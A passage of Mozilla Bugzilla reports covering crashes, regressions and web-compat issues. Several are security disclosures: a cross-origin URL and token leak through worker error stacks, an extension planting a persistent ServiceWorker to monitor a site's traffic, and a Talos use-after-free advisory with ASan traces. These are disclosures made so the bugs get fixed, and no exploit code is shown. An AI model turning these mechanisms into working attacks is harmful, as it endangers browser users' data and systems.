_execute resource://gre/modules/third_party/fathom/fathom.jsm:2683
get resource://gre/modules/third_party/fathom/fathom.jsm:2598
_computeType resource://gre/modules/third_party/fathom/fathom.jsm:2107
scoreFor resource://gre/modules/third_party/fathom/fathom.jsm:2008
_isProbablyANewPasswordField resource://gre/modules/LoginAutoComplete.jsm:691
_requestAutoCompleteResultsFromParent resource://gre/modules/LoginAutoComplete.jsm:636
startSearch resource://gre/modules/LoginAutoComplete.jsm:597
LoginAutoComplete.jsm:605:37
```
|
|
1,634,872 | 14,792,755 |
Created attachment 9145206
screenshot_013.png
Hello. I found the way how to owner of "a" domain can know the post-redirect URL, loaded from "b" domain.
Here is the example: https://obmi.me/pocs/webworkerexample_5b52f35f-807f-4255-8429-f61a588f404c
The scenario:
1. The page in domain 'a.com' has a Web Worker.
2. The worker calls importScripts function with the link to the redirector page in domain 'b.com'
3. The redirector in 'b.com' domain returns a redirect to the valid javascript script with sensitive data in url, like authorization token, csrf token, etc. (It's popular flow in many websites)
4. The worker calls some function from loaded script, which throws an error and catch it via 'try{...}catch(e){}'
AR: The 'e.stack' property contains the full url of the script loaded from 'b.com' and contains the sensitive data.
ER: ??? Maybe 'e.stack' must contain the first url (which was used as argument in importScripts call) or cutted url.
Reproduced in Firefox 75.0
|
|
1,635,309 | 14,796,966 |
bp-1d619257-c55d-46a1-8266-2462e0200505
Asa saw this in the wild in Slack with NVDA running. I can't reproduce it there, but I can reproduce with the following test case and STR with NVDA:
1. Open this:
`data:text/html,<div role="list"><div id="a" role="listitem" aria-level="1">a</div><div id="b" role="listitem" aria-level="2">b</div></div><button onclick="a.remove();">Remove`
2. Press the Remove button.
3. Press up arrow to move to "b".
4. Press NVDA+numpad5 (desktop) or NVDA+shift+o (laptop).
5. If it doesn't crash, press down arrow, then repeat steps 3 and 4. For me, it only takes a few tries of this before it crashes.
The stack shown by crash-stats isn't so useful. Here's a better stack from WinDBG:
```
0:000> kp
# Child-SP RetAddr Call Site
00 (Inline Function) --------`-------- xul!mozilla::RefPtrTraits<mozilla::a11y::Accessible>::AddRef+0x7 [/builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h @ 49]
01 (Inline Function) --------`-------- xul!RefPtr<mozilla::a11y::Accessible>::ConstRemovingRefPtrTraits<mozilla::a11y::Accessible>::AddRef+0x7 [/builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h @ 380]
02 (Inline Function) --------`-------- xul!RefPtr<mozilla::a11y::Accessible>::RefPtr+0xb [/builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h @ 109]
03 (Inline Function) --------`-------- xul!mozilla::a11y::SingleAccIterator::SingleAccIterator+0x1d [/builds/worker/checkouts/gecko/accessible/base/AccIterator.h @ 244]
04 (Inline Function) --------`-------- xul!mozilla::a11y::Relation::AppendTarget+0x34 [/builds/worker/checkouts/gecko/accessible/base/Relation.h @ 62]
05 00000051`a09fe280 00007ffe`0459df59 xul!mozilla::a11y::Accessible::RelationByType(mozilla::a11y::RelationType aType = <Value unavailable error>)+0x80c [/builds/worker/checkouts/gecko/accessible/generic/Accessible.cpp @ 1662]
06 00000051`a09fe310 00007ffe`0455206d xul!mozilla::a11y::HyperTextAccessible::RelationByType(mozilla::a11y::RelationType aType = NODE_CHILD_OF (0n4))+0x19 [/builds/worker/checkouts/gecko/accessible/generic/HyperTextAccessible.cpp @ 1827]
07 00000051`a09fe360 00007ffe`6cbce4be xul!mozilla::a11y::AccessibleWrap::accNavigate(long navDir = 0n4101, struct tagVARIANT * varStart = 0x00000000`00000003, struct tagVARIANT * pvarEndUpAt = 0x000001ed`fcebb870 Empty)+0x30d [/builds/worker/checkouts/gecko/accessible/windows/msaa/AccessibleWrap.cpp @ 948]
08 00000051`a09fe400 00007ffe`6cbc2b7a ole32!Invoke(void)+0x6e [com\ole32\com\txf\callframe\amd64\stubless.asm @ 290]
09 00000051`a09fe460 00007ffe`01d23506 ole32!CallFrame::Invoke(void * pvReceiver = 0x000001ed`8c37c8c8)+0x8a [com\ole32\com\txf\callframe\callframe.cpp @ 891]
0a 00000051`a09fe4e0 00007ffe`01d27c6d xul!`anonymous namespace'::HandoffRunnable::Run(void)+0x46 [/builds/worker/checkouts/gecko/ipc/mscom/MainThreadHandoff.cpp @ 131]
```
Fetching the nodeChildOf relation calls GetGroupInfo()->ConceptualParent() and we crash trying to AddRef the resulting Accessible. AccGroupInfo holds a raw mParent pointer, rather than a RefPtr. This means that mParent (a sibling) is dead because it was removed, but group info for other siblings wasn't marked dirty.
TreeMutation.Done() marks all children of the parent with the eGroupInfoDirty flag, so I don't understand why this isn't happening here. That said, I also don't see why we aren't just doing this in Accessible::RemoveChild.
This isn't a new bug, but it's a lot more likely now that we use the AccGroupInfo cache more often after bug 1632467.
|
|
1,635,542 | 14,798,688 |
The mapping of action names to actions in Normandy has too many "s"es in the work "messaging" for Messaging Experiments. It says "messsaging".
https://searchfox.org/mozilla-central/rev/7908ce29657cfd623993046bd8e38664e1c0b28e/toolkit/components/normandy/lib/ActionsManager.jsm#40
|
|
1,635,781 | 14,800,375 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Steps to reproduce:
I am the developer of the Tile Pages WE extension.
Tile Pages WE embeds http/https web pages in sandboxed iframe elements arranged in a tiled layout within a moz-extension: container page. If necessary, the extension removes X-Frame-Options headers and CSP frame-ancestors directives from the embedded web pages. This can be done because the container page is an extension page and is not hostile. This design approach was reviewed and approved by Philipp Kewisch (then Senior Add-ons Technical Editor at Mozilla).
In order to remove X-Frame-Options headers and CSP frame-ancestors directives, Tile Pages WE uses the webRequest API. Until recently everything worked fine, but the latest version of Nightly is behaving differently and I think incorrectly.
With Firefox Developer 76.0b8 and earlier versions, removing a 'frame-ancestors: none' directive from the CSP header allowed the page to be loaded into an iframe.
With Firefox Developer 77.0b2 and later versions, this no longer works. However, if the entire CSP header is removed, then the page can be loaded into an iframe, but of course this should not be done.
Actual results:
With Firefox Developer 77.0b2 and later versions, removing a 'frame-ancestors: none' directive from the CSP header does NOT allow the page to be loaded into an iframe. Instead a "Blocked by Content Security Policy" message is displayed.
Expected results:
Removing a 'frame-ancestors: none' directive from the CSP header should allow the page to be loaded into an iframe.
|
|
1,636,023 | 14,801,876 |
Created attachment 9146399
Screen Shot 2020-05-06 at 11.55.25 PM.png
Steps to reproduce:
1. Enable search bar.
2. Focus search bar
What happens:
Blue box/border appears inside of search box.
Expected result:
Prior to regression.
12:52.46 INFO: No more inbound revisions, bisection finished.
12:52.46 INFO: Last good revision: 842955b61f01c2d859484ae9aa155e4ea59561b5
12:52.46 INFO: First bad revision: 0010e22f0dafa5d3f8b7fe095dd0ca51b745d38b
12:52.46 INFO: Pushlog:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=842955b61f01c2d859484ae9aa155e4ea59561b5&tochange=0010e22f0dafa5d3f8b7fe095dd0ca51b745d38b
|
|
1,636,229 | 14,803,162 |
User Agent: Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0
Steps to reproduce:
Create a bookmarklet with the following javascript in the location field:
javascript:%20var%20WindowPopup%20=%20window.open(window.location.href,'PopUp'+Date.now(),'left=1260,top=590,width=550,height=570,scrollbars=yes,status=no');
Actual results:
The popup window it creates now shows the full tab bar and it isn't even merged into the title bar like in the normal window, so it's taking up twice as much space.
Expected results:
The popup window should not be tabbed, like in previous versions. It still works as desired in the v76 64 bit, which I have on another machine.
|
|
1,636,256 | 14,803,400 |
The beta numbers in https://bugzilla.mozilla.org/show_bug.cgi?id=1605973 and the last few comments there suggest that the worker is starting off significant indexeddb tasks that we then can't finish in time.
We should rewrite the importJSONDump code so its work happens in one transaction, and then abort that transaction when we realize shutdown is happening.
|
|
1,636,511 | 14,804,979 |
Through telemetry we are seeing an abnormally high failure rate, and have seen multiple bug reports reporting that users are getting [prompted when they do not have a password set](https://bugzilla.mozilla.org/show_bug.cgi?id=1636312), or are getting [prompted to authenticate via smartcard on their portable machine without ability to use a password](https://bugzilla.mozilla.org/show_bug.cgi?id=1636466).
Further, some users are [confused as to which password to supply (Firefox Account password vs OS account password)](https://bugzilla.mozilla.org/show_bug.cgi?id=1636032). We are actively discussing [updating the string to make this clearer to users](https://bugzilla.mozilla.org/show_bug.cgi?id=1636032) but this will likely be a Firefox 78 change at this point.
I would like to disable this feature for users on all platforms via Normandy by setting the `signon.management.page.os-auth.enabled` pref to `false`.
|
|
1,636,629 | 14,805,844 |
Created attachment 9146967
background.zip
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Steps to reproduce:
Side-load the attached extension and observe that a tab appears loading the URL "https://example.com". Then, navigate to "about:debugging" and notice a ServiceWorker has been installed on the example.com domain with the URL "https://example.com/?injected-sw=1". Remove the side-loaded extension and notice the ServiceWorker is not unloaded.
Actual results:
An extension installed a ServiceWorker into the domain of a page.
Expected results:
This may be by design, but I don't think extensions should be able to inject ServiceWorkers into pages. This would allow extension developers to monitor all HTTP traffic from that domain and would give them persistent access to this monitoring capability even if the extension is uninstalled. Since the ServiceWorker can be installed with any random query parameter, as demonstrated in the code, this is also extremely difficult for the true owners of the domain to remove the ServiceWorker from the user's browser. User's will likely need to remove the ServiceWorker manually.
It should also be noted that these ServiceWorkers will always be around. Due to how they are installed through header and body manipulations, when the ServiceWorker attempts to update, the content-type will not match the "application/javascript" that is expected when the extension is no longer installed. This will cause the browser to fall back to the original ServiceWorker code.
|
|
1,636,820 | 14,807,060 |
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Steps to reproduce:
Try to see a password, by clicking the "eye", or copy it by clicking "copy".
Actual results:
Nothing happens. I cannot see the password, and it is not copied.
Expected results:
I should be able to see the password or copy it.
This started yesterday. I just installed the newest version and it still a problem: 78.0a1 (2020-05-10) (64-bit)
|
|
1,636,971 | 14,809,695 |
Today's Daily TB 78 on Windows.
Start new composition, type some text, capture a bit of your desktop onto the clipboard, insert image into compose window. So far, so good.
Click onto the image. You will see two images. Click anywhere outside the first or second image, the second image disappears.
Looking with ThunderHTMLedit, the second image isn't really inserted, is seems like some display artefact.
|
|
1,637,973 | 14,819,415 |
Created attachment 9148353
sampleAddOn package it contains manifest.json and background.js
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Steps to reproduce:
call browser.downloads.download() with filename with more than one space character (consecutive). For example { filename: "0 a/image.png" }: there are two spaces between "0" and "a" folder name.
I attached an simple addon package.
1) Install it, you can see "SAVE IMG FILE" context menu, and "SAVE" sub-menu on a image.
2) Click this sub-menu "SAVE", and it will try to download an image file (Google logo image) as "0 a/image.png", but it fails.
Actual results:
It says "Error: filename must not contain illegal characters" on javascript console.
Expected results:
An image file should be downloaded into the specified directory and file name.
At least, until ver. 75.0, it worked with two or more consecutive space characters in the file name.
By the way, if there is one space character (e.g. "0 a/image.png"), the image file is saved without any error.
|
|
1,638,311 | 14,822,763 |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:77.0) Gecko/20100101 Firefox/77.0
Steps to reproduce:
1. Load a page that has a form with a hidden input followed by an email input and password input.
2. Focus the email field and select one of the auto-fill suggestions.
3. Submit the form.
Actual results:
The submitted value of the hidden input is determined by the value of the email input.
Expected results:
The value of the hidden input should be unchanged.
A video demonstrating the problem is available here: https://youtu.be/GLckM8_rYdk
|
|
1,638,369 | 14,823,059 |
This was initially reported in https://github.com/webcompat/web-bugs/issues/52879
When visiting https://egov.ice.gov/sevis/ "Secure connection failed" message appears in Firefox, but not in other browsers. This error is intermittent and site loads sometimes.
Steps to reproduce:
Visit https://egov.ice.gov/sevis/ and observe the page
Expected:
Site loads
Actual:
"Secure Connection Failed" error page
|
|
1,638,441 | 14,824,549 |
This was initially reported in https://github.com/webcompat/web-bugs/issues/52955
Steps to reproduce:
1. In Firefox Preview Nightly visit https://welcome.playkey.net/en/lp/intro-ww-quiz-offer/
2. Try to to dismiss the cookie agreement prompt at the bottom of the page by clicking on "Agree"
Expected:
The prompt is dismissed
Actual:
Nothing happens
This is also reproducible on RDM.
From mozregression:
```
7:52.69 INFO: Last good revision: d3b0b878f7c1a2e758dda0953c19ab9831e694c1
7:52.69 INFO: First bad revision: cd5ab4e2f7a8a376bd001583cd5b6dc8b0abd17c
7:52.69 INFO: Pushlog:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=d3b0b878f7c1a2e758dda0953c19ab9831e694c1&tochange=cd5ab4e2f7a8a376bd001583cd5b6dc8b0abd17c
```
(This could be related to https://bugzilla.mozilla.org/show_bug.cgi?id=1637113 , however in this case I didn't need to perform pinch and zoom to reproduce the issue)
|
|
1,638,758 | 14,827,899 |
## Test Condition
* Nighly on macOS 78.0a1 (2020-05-17) (64-bit)
* Open https://meet.google.com
* Start a meeting (you don't need any other people)
* Wait for 30-60 seconds
## Expected Result
* Google Meet should work
## Actual Result
* Google Meet exists, showing a screen with the message "Couldn't start the video call because of an error."
* The DevTools Error Log shows this:
```
RTCPeerConnection.getLocalStreams/getRemoteStreams are deprecated. Use RTCPeerConnection.getSenders/getReceivers instead. m=A7fCU,AJ9SK,AePfdf,BVgquf,CBlRxf,COQbmf,CvtcN,Cw0Hjd,DCwKHe,DM8swd,DNsE7e,EFQ78c,FMq9Lb,FYCkde,Fl2dbf,GkRiKb,HDvRde,HLo3Ef,Hn5sxd,I6YDgd,IZT63,Ivl8bd,JNoxi,JyyTHf,KG2eXe,L1AAkb,MI6k7c,MdUzUe,MsyKad,N5Lqpc,NNJERe,NpD4ec,O4tzsb,O6y8ed,OmgaI,PGW6ue,PQaYAf,PrPYRd,QBFzrf,QIhFr,QQnX0,RMhBfe,RoOsrd,RqS4qe,Ryzncf,SF3gsd,SdcwHb,SpsfSb,Tj958c,Tnlgmf,U0aPgd,Uas9Hd,UcHKNb,UgAtXe,V3dDOb,VwDzFe,W4cEdc,WO9ee,XAzchc,XU5LFb,XVMNvd,XxnxR,Y0bgVb,ZfAoz,ZwDk9d,ZxDaqc,a9EW5e,aW3pY,aurFic,azqyEc,bcHMGf,blwjVc,c6KVyc,cLFsDc,cWjcJb,cilABe,dWHZee,dodICd,e5qFLc,elYK3d,fFdwef,fHcPI,fKUV3e,fgj8Rb,gVaDd,hKSk3e,haHVHe,hc6Ubd,he,hl,iTsyac,iWP1Yb,jKHFJb,k2r0oe,kjKdXe,lAg79c,lPKSwe,lazG7b,llTWPd,lwddkf,mI3LFb,ma,mdR7q,nALW6c,o02Jie,obLw,pB6Zqd,pGAJif,pjICDe,pw70Gc,qexExd,qsafrb,rE6Mgd,rHjpXd,rNa50e,rn9YO,rrm,rsr,s39S4,sPwFo,swpmp,syIdOe,t8N1l,texUgd,tfTN8c,tgTcU,tlbU5,u4OpLc,w9hDv,wGFfpe,ws9Tlc,x60fie,xGC4Gb,xQtZb,xiqEse,y4Nztd,yDVVkb,zXsoW,zbML3c:1999:116
WebRTC: onaddstream is deprecated! Use peerConnection.ontrack instead. m=A7fCU,AJ9SK,AePfdf,BVgquf,CBlRxf,COQbmf,CvtcN,Cw0Hjd,DCwKHe,DM8swd,DNsE7e,EFQ78c,FMq9Lb,FYCkde,Fl2dbf,GkRiKb,HDvRde,HLo3Ef,Hn5sxd,I6YDgd,IZT63,Ivl8bd,JNoxi,JyyTHf,KG2eXe,L1AAkb,MI6k7c,MdUzUe,MsyKad,N5Lqpc,NNJERe,NpD4ec,O4tzsb,O6y8ed,OmgaI,PGW6ue,PQaYAf,PrPYRd,QBFzrf,QIhFr,QQnX0,RMhBfe,RoOsrd,RqS4qe,Ryzncf,SF3gsd,SdcwHb,SpsfSb,Tj958c,Tnlgmf,U0aPgd,Uas9Hd,UcHKNb,UgAtXe,V3dDOb,VwDzFe,W4cEdc,WO9ee,XAzchc,XU5LFb,XVMNvd,XxnxR,Y0bgVb,ZfAoz,ZwDk9d,ZxDaqc,a9EW5e,aW3pY,aurFic,azqyEc,bcHMGf,blwjVc,c6KVyc,cLFsDc,cWjcJb,cilABe,dWHZee,dodICd,e5qFLc,elYK3d,fFdwef,fHcPI,fKUV3e,fgj8Rb,gVaDd,hKSk3e,haHVHe,hc6Ubd,he,hl,iTsyac,iWP1Yb,jKHFJb,k2r0oe,kjKdXe,lAg79c,lPKSwe,lazG7b,llTWPd,lwddkf,mI3LFb,ma,mdR7q,nALW6c,o02Jie,obLw,pB6Zqd,pGAJif,pjICDe,pw70Gc,qexExd,qsafrb,rE6Mgd,rHjpXd,rNa50e,rn9YO,rrm,rsr,s39S4,sPwFo,swpmp,syIdOe,t8N1l,texUgd,tfTN8c,tgTcU,tlbU5,u4OpLc,w9hDv,wGFfpe,ws9Tlc,x60fie,xGC4Gb,xQtZb,xiqEse,y4Nztd,yDVVkb,zXsoW,zbML3c:2003
HTTP “Content-Type” of “text/html” is not supported. Load of media resource https://meet.google.com/ failed. yxx-kodn-eoj
```
|
|
1,638,773 | 14,828,007 |
There is a site with these values
```html
<meta name="viewport"
content="initial-scale=device-width,
maximum-scale=1.0,
user-scalable=no,
width=device-width">
```
The site is hugely blown out.
The current specification says:
https://drafts.csswg.org/css-device-adapt/#min-scale-max-scale
> device-width and device-height are translated to 10
so we end up with
```html
<meta name="viewport"
content="initial-scale=10,
maximum-scale=1.0,
user-scalable=no,
width=device-width">
```
which should win?
* Chrome shows the site with `width=device-width`
* Firefox shows the site x10 zoom
This is yet another edge case.
note: can be reproduced on rdm.
see details on https://webcompat.com/issues/52856
|
|
1,638,888 | 14,828,827 |
STR:
1. Start up Firefox with a fresh profile.
2. Check your default engine in preferences.
3. Install [Ecosia add-on](https://addons.mozilla.org/firefox/addon/ecosia-the-green-search/)
4. When the prompt to set as default engine appears, accept it.
5. Check the default engine
* Should be Ecosia.
6. Disable the Ecosia add-on
7. Check the default engine
* Should have reverted to the original
8. Enable the Ecosia add-on
Actual Results
Ecosia is not shown as enabled.
Expected Results
Ecosia is enabled.
I checked with the builds before and after, and this is a regression from bug 1578513.
|
|
1,639,108 | 14,830,023 |
Created attachment 9150040
Test case.
Reported by the JAWS screen reader vendor.
STR (with the JAWS screen reader):
1. Open the attached test case.
2. Press b to move to the "Click me to test aria live" button.
3. Press enter.
- Observe: JAWS says "test aria-live."
4. Press JAWSKey+upArrow to confirm you're still on the "Click me to test aria live" button. If you aren't, press b to move there again.
5. Press enter.
- Expected: JAWS should say "test aria-live."
- Actual: JAWS says nothing.
The problem is that IAccessibleText::newText is returning the wrong end offset and JAWS validates that the end offset is greater than the start offset. We're providing the length instead of the end offset.
This works fine with e10s off. The problem is in the e10s code which handles IAccessibleText::newText via the handler.
Impact: Live regions often don't work with JAWS.
|
|
1,631,327 | 14,764,117 |
This bug is for crash report bp-48d53bb6-83b9-41b0-932f-925a60200418.
```
Top 10 frames of crashing thread:
0 ntdll.dll NtWaitForKeyedEvent
1 ntdll.dll RtlSleepConditionVariableSRW
2 kernel32.dll SleepConditionVariableSRW
3 mozglue.dll mozilla::detail::ConditionVariableImpl::wait mozglue/misc/ConditionVariable_windows.cpp:50
4 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1120
5 xul.dll NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:481
6 xul.dll mozilla::ipc::MessagePump::Run ipc/glue/MessagePump.cpp:109
7 xul.dll MessageLoop::RunHandler ipc/chromium/src/base/message_loop.cc:308
8 xul.dll MessageLoop::Run ipc/chromium/src/base/message_loop.cc:290
9 xul.dll nsBaseAppShell::Run widget/nsBaseAppShell.cpp:137
```
The oldest buildid with this failure is 20200414214610.
|
|
1,631,618 | 14,767,822 |
Created attachment 9141879
POC_SharedWorkerService Use-After-Free (race-condition) remote code execution.html
[from mail to security@ from Talos, some boilerplate snipped]
### Mozilla Firefox SharedWorkerService Code Execution Vulnerability
An exploitable code execution vulnerability exists in the SharedWorkerService functionality of Mozilla Firefox 76.0a1 (2020-04-01) x64. A specially crafted HTML web page can cause a use after free condition, resulting in a remote code execution. The victim needs to visit malicious web site to trigger the vulnerability.
### Tested Versions
Mozilla Firefox 76.0a1 (2020-04-01) x64
### CVSSv3 Score
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
### CWE
CWE-416 - Use After Free
### Details
Mozilla Firefox is one of the most popular web browsers on the world available for a variety of the different platforms : Windows, Linux, OSX, Android and more. Its active development ensure support for the newest web technologies like HTML5 or CSS3.
The vulnerability is related with the `SharedWorker` component and objects internaly related with it. A malicious web page can lead to a race condition situation which can cause a use-after-free vulnerability and remote code execution.
Tracking an `SharedWorkerService` object life cycle we can notice that there is an allocation made :
```
previously allocated by thread T46 (IPDL Background) here:
#0 0x55b699485b0d in malloc /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:145:3
#1 0x55b6994bb4fd in moz_xmalloc /builds/worker/checkouts/gecko/memory/mozalloc/mozalloc.cpp:52:15
#2 0x7fa306effc46 in operator new /builds/worker/workspace/obj-build/dist/include/mozilla/cxxalloc.h:33:10
#3 0x7fa306effc46 in mozilla::dom::SharedWorkerService::GetOrCreate() /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.cpp:126:42
#4 0x7fa306effa77 in mozilla::dom::SharedWorkerParent::Initialize(mozilla::dom::RemoteWorkerData const&, unsigned long, mozilla::dom::MessagePortIdentifier const&) /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerParent.cpp:50:41
#5 0x7fa3014c45aa in mozilla::ipc::BackgroundParentImpl::RecvPSharedWorkerConstructor(mozilla::dom::PSharedWorkerParent*, mozilla::dom::RemoteWorkerData const&, unsigned long const&, mozilla::dom::MessagePortIdentifier const&) /builds/worker/checkouts/gecko/ipc/glue/BackgroundParentImpl.cpp:552:10
#6 0x7fa301c6538f in mozilla::ipc::PBackgroundParent::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/obj-build/ipc/ipdl/PBackgroundParent.cpp:5068:28
#7 0x7fa30153813c in mozilla::ipc::MessageChannel::DispatchAsyncMessage(mozilla::ipc::ActorLifecycleProxy*, IPC::Message const&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2187:25
#8 0x7fa301535255 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2111:9
#9 0x7fa3015366cf in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1959:3
#10 0x7fa301536ede in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1990:13
#11 0x7fa3004c58ce in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1220:14
#12 0x7fa3004d035c in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:481:10
#13 0x7fa301540ec9 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:332:5
#14 0x7fa30146cfe7 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
#15 0x7fa30146cfe7 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
#16 0x7fa30146cfe7 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
#17 0x7fa3004bf245 in nsThread::ThreadFunc(void*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:464:10
#18 0x7fa3169a51fe in _pt_root /builds/worker/checkouts/gecko/nsprpub/pr/src/pthreads/ptthread.c:201:5
#19 0x7fa31a2c2668 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x9668)
```
Further, in a consequence of handling the next event inside another thread, the `SharedWorkerService` object gets deallocated:
```
0x606000315770 is located 48 bytes inside of 64-byte region [0x606000315740,0x606000315780)
freed by thread T0 here:
#0 0x55b69948588d in free /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:123:3
#1 0x7fa306eff34c in operator delete /builds/worker/workspace/obj-build/dist/include/mozilla/cxxalloc.h:51:10
#2 0x7fa306eff34c in Release /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.h:31:3
#3 0x7fa306eff34c in Release /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:50:40
#4 0x7fa306eff34c in Release /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:381:36
#5 0x7fa306eff34c in ~RefPtr /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:81:7
#6 0x7fa306eff34c in mozilla::dom::SharedWorkerManagerHolder::~SharedWorkerManagerHolder() /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerManager.cpp:285:1
#7 0x7fa306f04611 in mozilla::dom::SharedWorkerManagerHolder::Release() /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerManager.h:32:3
#8 0x7fa306f0853a in detail::ProxyReleaseEvent<mozilla::dom::SharedWorkerManagerHolder>::Run() /builds/worker/workspace/obj-build/dist/include/nsProxyRelease.h:36:5
#9 0x7fa3004c58ce in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1220:14
#10 0x7fa3004d035c in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:481:10
#11 0x7fa30153fe6a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:87:21
#12 0x7fa30146cfe7 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
#13 0x7fa30146cfe7 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
#14 0x7fa30146cfe7 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
#15 0x7fa307562ff8 in nsBaseAppShell::Run() /builds/worker/checkouts/gecko/widget/nsBaseAppShell.cpp:137:27
#16 0x7fa30aafa5bb in nsAppStartup::Run() /builds/worker/checkouts/gecko/toolkit/components/startup/nsAppStartup.cpp:271:30
#17 0x7fa30ad00546 in XREMain::XRE_mainRun() /builds/worker/checkouts/gecko/toolkit/xre/nsAppRunner.cpp:4614:22
#18 0x7fa30ad023b1 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /builds/worker/checkouts/gecko/toolkit/xre/nsAppRunner.cpp:4749:8
#19 0x7fa30ad030f3 in XRE_main(int, char**, mozilla::BootstrapConfig const&) /builds/worker/checkouts/gecko/toolkit/xre/nsAppRunner.cpp:4800:21
#20 0x55b6994b8726 in do_main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:217:22
#21 0x55b6994b8726 in main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:331:16
#22 0x7fa319d851e2 in __libc_start_main /build/glibc-t7JzpG/glibc-2.30/csu/../csu/libc-start.c:308:16
```
"Simultaneously" execution of thread T46 continues which in the final result leads to a use-after-free of the `SharedWorkerService` object:
```
==12981==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000315770 at pc 0x7fa306f0022f bp 0x7fa2e155f5f0 sp 0x7fa2e155f5e8
WRITE of size 8 at 0x606000315770 thread T46 (IPDL Background)
#0 0x7fa306f0022e in fetch_add /builds/worker/fetches/clang/bin/../lib/gcc/x86_64-unknown-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/atomic_base.h:514:16
#1 0x7fa306f0022e in operator++ /builds/worker/workspace/obj-build/dist/include/nsISupportsImpl.h:331:19
#2 0x7fa306f0022e in AddRef /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.h:31:3
#3 0x7fa306f0022e in AddRef /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:49:39
#4 0x7fa306f0022e in AddRef /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:380:35
#5 0x7fa306f0022e in RefPtr /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:109:7
#6 0x7fa306f0022e in GetOrCreateWorkerManagerRunnable /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.cpp:37:9
#7 0x7fa306f0022e in mozilla::dom::SharedWorkerService::GetOrCreateWorkerManager(mozilla::dom::SharedWorkerParent*, mozilla::dom::RemoteWorkerData const&, unsigned long, mozilla::dom::MessagePortIdentifier const&) /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.cpp:159:11
#8 0x7fa306effaa7 in mozilla::dom::SharedWorkerParent::Initialize(mozilla::dom::RemoteWorkerData const&, unsigned long, mozilla::dom::MessagePortIdentifier const&) /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerParent.cpp:52:12
#9 0x7fa3014c45aa in mozilla::ipc::BackgroundParentImpl::RecvPSharedWorkerConstructor(mozilla::dom::PSharedWorkerParent*, mozilla::dom::RemoteWorkerData const&, unsigned long const&, mozilla::dom::MessagePortIdentifier const&) /builds/worker/checkouts/gecko/ipc/glue/BackgroundParentImpl.cpp:552:10
